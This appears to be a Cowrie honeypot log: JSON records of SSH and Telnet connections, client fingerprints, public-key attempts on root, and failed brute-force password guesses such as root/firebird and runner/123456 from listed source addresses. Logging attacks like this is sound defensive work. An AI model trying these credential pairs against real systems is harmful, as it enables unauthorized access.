{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:24.812970Z","src_ip":"176.65.132.129","session":"cd5ef3619109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"123","message":"login attempt [frappe/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:25.061890Z","src_ip":"176.65.132.129","session":"cd5ef3619109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"firebird","message":"login attempt [root/firebird] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:25.207650Z","src_ip":"62.54.176.203","session":"f7cdefffab92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:26.210976Z","src_ip":"176.65.132.129","session":"cd5ef3619109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.8080415725708,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:26.239367Z","src_ip":"152.42.224.71","session":"e7ae0e912b21","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:26.313423Z","src_ip":"62.54.176.203","session":"f7cdefffab92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55626,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa426dcc1710","protocol":"telnet","message":"New connection: 152.42.224.71:55626 (10.17.0.5:23) [session: fa426dcc1710]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.649240Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45862,"dst_ip":"159.203.135.109","dst_port":22,"session":"6cdd2e1669fd","protocol":"ssh","message":"New connection: 176.65.132.129:45862 (159.203.135.109:22) [session: 6cdd2e1669fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.835926Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.160","src_port":36774,"dst_ip":"10.17.0.5","dst_port":22,"session":"add8e78ec285","protocol":"ssh","message":"New connection: 89.42.231.160:36774 (10.17.0.5:22) [session: add8e78ec285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.841534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.846786Z","src_ip":"176.65.132.129","session":"6cdd2e1669fd","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.850232Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.932663Z","src_ip":"176.65.132.129","session":"6cdd2e1669fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:27.940532Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.193537Z","src_ip":"176.65.132.129","session":"6cdd2e1669fd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"00:bf:fa:bc:a1:1a:44:eb:24:a5:84:b0:a3:dd:54:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYbaq6gFgP6Iw5N3gdqehzJihYPisVyqR7if10y5jmvUpyUgQGbTtK24wvSSzWIk5SifT/zdUjErmnEuxOp1jSSBb5P6QYOzfgzvdXKeQYRo2cTrkRKQB7z8iYZENMW2vz5PMQbd+J3qg/QlPy+DtHrlVNxk66ALljPz7QcTe61gf96jFTFVXr6Wet0AaXIsRz/N8YzchujBm6zjLz0uJM5aIlW+J/jyWT68HGNOYd5itQc62VNWU9D8DktgjaTKkJbVw4b5FRx5NKF3Fe2gi0m/bnU41kdvoqBA4GMwdCF5TpeMqYjVOfs2Fh/aMGcIQECYpk1aRw/JGSecaBXrR5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 00:bf:fa:bc:a1:1a:44:eb:24:a5:84:b0:a3:dd:54:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.345308Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"00:bf:fa:bc:a1:1a:44:eb:24:a5:84:b0:a3:dd:54:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYbaq6gFgP6Iw5N3gdqehzJihYPisVyqR7if10y5jmvUpyUgQGbTtK24wvSSzWIk5SifT/zdUjErmnEuxOp1jSSBb5P6QYOzfgzvdXKeQYRo2cTrkRKQB7z8iYZENMW2vz5PMQbd+J3qg/QlPy+DtHrlVNxk66ALljPz7QcTe61gf96jFTFVXr6Wet0AaXIsRz/N8YzchujBm6zjLz0uJM5aIlW+J/jyWT68HGNOYd5itQc62VNWU9D8DktgjaTKkJbVw4b5FRx5NKF3Fe2gi0m/bnU41kdvoqBA4GMwdCF5TpeMqYjVOfs2Fh/aMGcIQECYpk1aRw/JGSecaBXrR5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.349272Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ec:1d:be:17:41:db:3d:73:f0:3a:41:bb:8d:ae:18:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHMmv2ysw/9zlFoEroVtmkVJ06Jh7OOrwPADeZ5lpoS4GTFjE9nb1Do1DyJWmkoFOFZpM6ZVaW+MME9QCEFFO1H+2Rk/x117tSswLOHtFpvIhVDBKUTofPlkICqDf9O6LrzDm9z+cXH9ozsUr3xJQ6wss37ptW+VJeyfkwWfwW14qR/qg1pbA6luc7Kds4EQ2C7hW3tV71JY20E6/iBE0rrJONivGk8lk0YwBGiUZgOfmsFVIeLyeHJeKrSdZ83uFTiQTH4e4QLzD7KzHqB15K42SUiroo35hiIxol1VUkJy8ynFul6+KiQO5yTRAk16g5D1klWGPHoEAcBdhezpmh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ec:1d:be:17:41:db:3d:73:f0:3a:41:bb:8d:ae:18:f9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.435916Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ec:1d:be:17:41:db:3d:73:f0:3a:41:bb:8d:ae:18:f9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHMmv2ysw/9zlFoEroVtmkVJ06Jh7OOrwPADeZ5lpoS4GTFjE9nb1Do1DyJWmkoFOFZpM6ZVaW+MME9QCEFFO1H+2Rk/x117tSswLOHtFpvIhVDBKUTofPlkICqDf9O6LrzDm9z+cXH9ozsUr3xJQ6wss37ptW+VJeyfkwWfwW14qR/qg1pbA6luc7Kds4EQ2C7hW3tV71JY20E6/iBE0rrJONivGk8lk0YwBGiUZgOfmsFVIeLyeHJeKrSdZ83uFTiQTH4e4QLzD7KzHqB15K42SUiroo35hiIxol1VUkJy8ynFul6+KiQO5yTRAk16g5D1klWGPHoEAcBdhezpmh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.440510Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7e:ab:ef:c4:f0:4c:88:95:15:69:23:9a:88:ee:22:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0invvLEjUc5Qsm8W0sPnB1pKJEOHsjkdQPejya+24bM518xaIPnrC6oeu0MAFRi8nmFXhUkqrIz3eKD5IH4viOYQyS3wvgy9KXqU1bW0ZWm6GtJ4NBs+SqQZgNm+qnB6emsZp5WyhYXcBOBgpOoZLpecTen8sdEGM6oe2HpglQEimwEZ3rjRCMlBT+18uxgOaY+/WhxeGkFn5CkgJxNDHlPonG7X5yrZ2DCkZi0wm52U2OvvTuuSXsqsPxDhIxa3/qsOtS5vn4I9jSw1pzg6sEuK0vWGL0b+dJq02Jw5kjLnsk5jl9Qurz+q8BZ+XFw4BjmpFnPBN4iYoJhU2ALt7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7e:ab:ef:c4:f0:4c:88:95:15:69:23:9a:88:ee:22:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.529182Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7e:ab:ef:c4:f0:4c:88:95:15:69:23:9a:88:ee:22:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0invvLEjUc5Qsm8W0sPnB1pKJEOHsjkdQPejya+24bM518xaIPnrC6oeu0MAFRi8nmFXhUkqrIz3eKD5IH4viOYQyS3wvgy9KXqU1bW0ZWm6GtJ4NBs+SqQZgNm+qnB6emsZp5WyhYXcBOBgpOoZLpecTen8sdEGM6oe2HpglQEimwEZ3rjRCMlBT+18uxgOaY+/WhxeGkFn5CkgJxNDHlPonG7X5yrZ2DCkZi0wm52U2OvvTuuSXsqsPxDhIxa3/qsOtS5vn4I9jSw1pzg6sEuK0vWGL0b+dJq02Jw5kjLnsk5jl9Qurz+q8BZ+XFw4BjmpFnPBN4iYoJhU2ALt7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.533497Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0f:8e:91:41:39:2f:42:a6:3e:ef:2c:e7:ff:0f:21:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCif9qSxUdbuElW1YQq6V8kEhxPUYNprUG0L1WO31M35VtoulfjQyXLcXwrMILvYS2ooMLzFVAFEoXDHCMrxzE5ZDs9/6GBpDmpJzko+s5dmsyJlOSAniXhnYmYMAYV0ebl+SN3GX4fd8ZEhe/IDnbVcNaihxpP3RaqUC0ivWW0bvru3Z5fSi0hPWsnZZSTiyFsC6ZlrUV+NrJ9w0AZrcGkMESEPFJGnOLf7o+rsX39zb7y8I4egaV/4+hFBcwZGtTU4gAKbGu/TIKMGBZFGW1D0OeJB/QY4Xul2H55GQK0a66tvhWStSvl7GkmvIzv+6Z0yJqZDtgmo3qOKvSV4V1F","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0f:8e:91:41:39:2f:42:a6:3e:ef:2c:e7:ff:0f:21:e2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.619543Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0f:8e:91:41:39:2f:42:a6:3e:ef:2c:e7:ff:0f:21:e2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCif9qSxUdbuElW1YQq6V8kEhxPUYNprUG0L1WO31M35VtoulfjQyXLcXwrMILvYS2ooMLzFVAFEoXDHCMrxzE5ZDs9/6GBpDmpJzko+s5dmsyJlOSAniXhnYmYMAYV0ebl+SN3GX4fd8ZEhe/IDnbVcNaihxpP3RaqUC0ivWW0bvru3Z5fSi0hPWsnZZSTiyFsC6ZlrUV+NrJ9w0AZrcGkMESEPFJGnOLf7o+rsX39zb7y8I4egaV/4+hFBcwZGtTU4gAKbGu/TIKMGBZFGW1D0OeJB/QY4Xul2H55GQK0a66tvhWStSvl7GkmvIzv+6Z0yJqZDtgmo3qOKvSV4V1F","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.623806Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:ee:68:98:89:f5:f8:95:2d:e0:19:2e:9b:a9:64:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHYKeZOUqPeD4hhyir3AasTd9JyY+8xBw5ZXoJfqzQ8KCYPEUYfMaqM/muTNJDQu1feETpsqNhYdMBD34hpCK/+S+5TeBKmuQ11MuMkfyQRWX3c8pnIupZXc7EslwJp8jDrA0pIuaK8lSqGykJKUWw4NzGM6XT9Gj9hZXLPSsaQYSMWMadKK7JVWHlN5AxC4lAO3Ip1THTqka/WE5R9LgYrr0mrW4Y5/fyOGoW2K9PXoYdZgBGMqF/0V7trwtM+jU9+0EkC7EgBVoZ8iNe2adhzYdQn9IeJfZ/hOwWaiDglP2srJDXBQLJwuyhYCKHmasjkXKQ0dsoa38tiQkQ2hRj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:ee:68:98:89:f5:f8:95:2d:e0:19:2e:9b:a9:64:7c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.710647Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:ee:68:98:89:f5:f8:95:2d:e0:19:2e:9b:a9:64:7c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHYKeZOUqPeD4hhyir3AasTd9JyY+8xBw5ZXoJfqzQ8KCYPEUYfMaqM/muTNJDQu1feETpsqNhYdMBD34hpCK/+S+5TeBKmuQ11MuMkfyQRWX3c8pnIupZXc7EslwJp8jDrA0pIuaK8lSqGykJKUWw4NzGM6XT9Gj9hZXLPSsaQYSMWMadKK7JVWHlN5AxC4lAO3Ip1THTqka/WE5R9LgYrr0mrW4Y5/fyOGoW2K9PXoYdZgBGMqF/0V7trwtM+jU9+0EkC7EgBVoZ8iNe2adhzYdQn9IeJfZ/hOwWaiDglP2srJDXBQLJwuyhYCKHmasjkXKQ0dsoa38tiQkQ2hRj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.714936Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:28.804241Z","src_ip":"89.42.231.160","session":"add8e78ec285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:29.278859Z","src_ip":"176.65.132.129","session":"6cdd2e1669fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":35652,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd40b81b3255","protocol":"ssh","message":"New connection: 13.71.92.229:35652 (10.17.0.5:22) [session: bd40b81b3255]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:30.580967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:30.585634Z","src_ip":"13.71.92.229","session":"bd40b81b3255","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:30.814159Z","src_ip":"13.71.92.229","session":"bd40b81b3255","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45880,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0ac52beea48","protocol":"ssh","message":"New connection: 176.65.132.129:45880 (159.203.135.109:22) [session: a0ac52beea48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:31.271477Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:31.276981Z","src_ip":"176.65.132.129","session":"a0ac52beea48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:31.358914Z","src_ip":"176.65.132.129","session":"a0ac52beea48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123456","message":"login attempt [runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:31.608190Z","src_ip":"176.65.132.129","session":"a0ac52beea48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"as123456","message":"login attempt [root/as123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:49:31.739156Z","src_ip":"13.71.92.229","session":"bd40b81b3255","protocol":"ssh"}
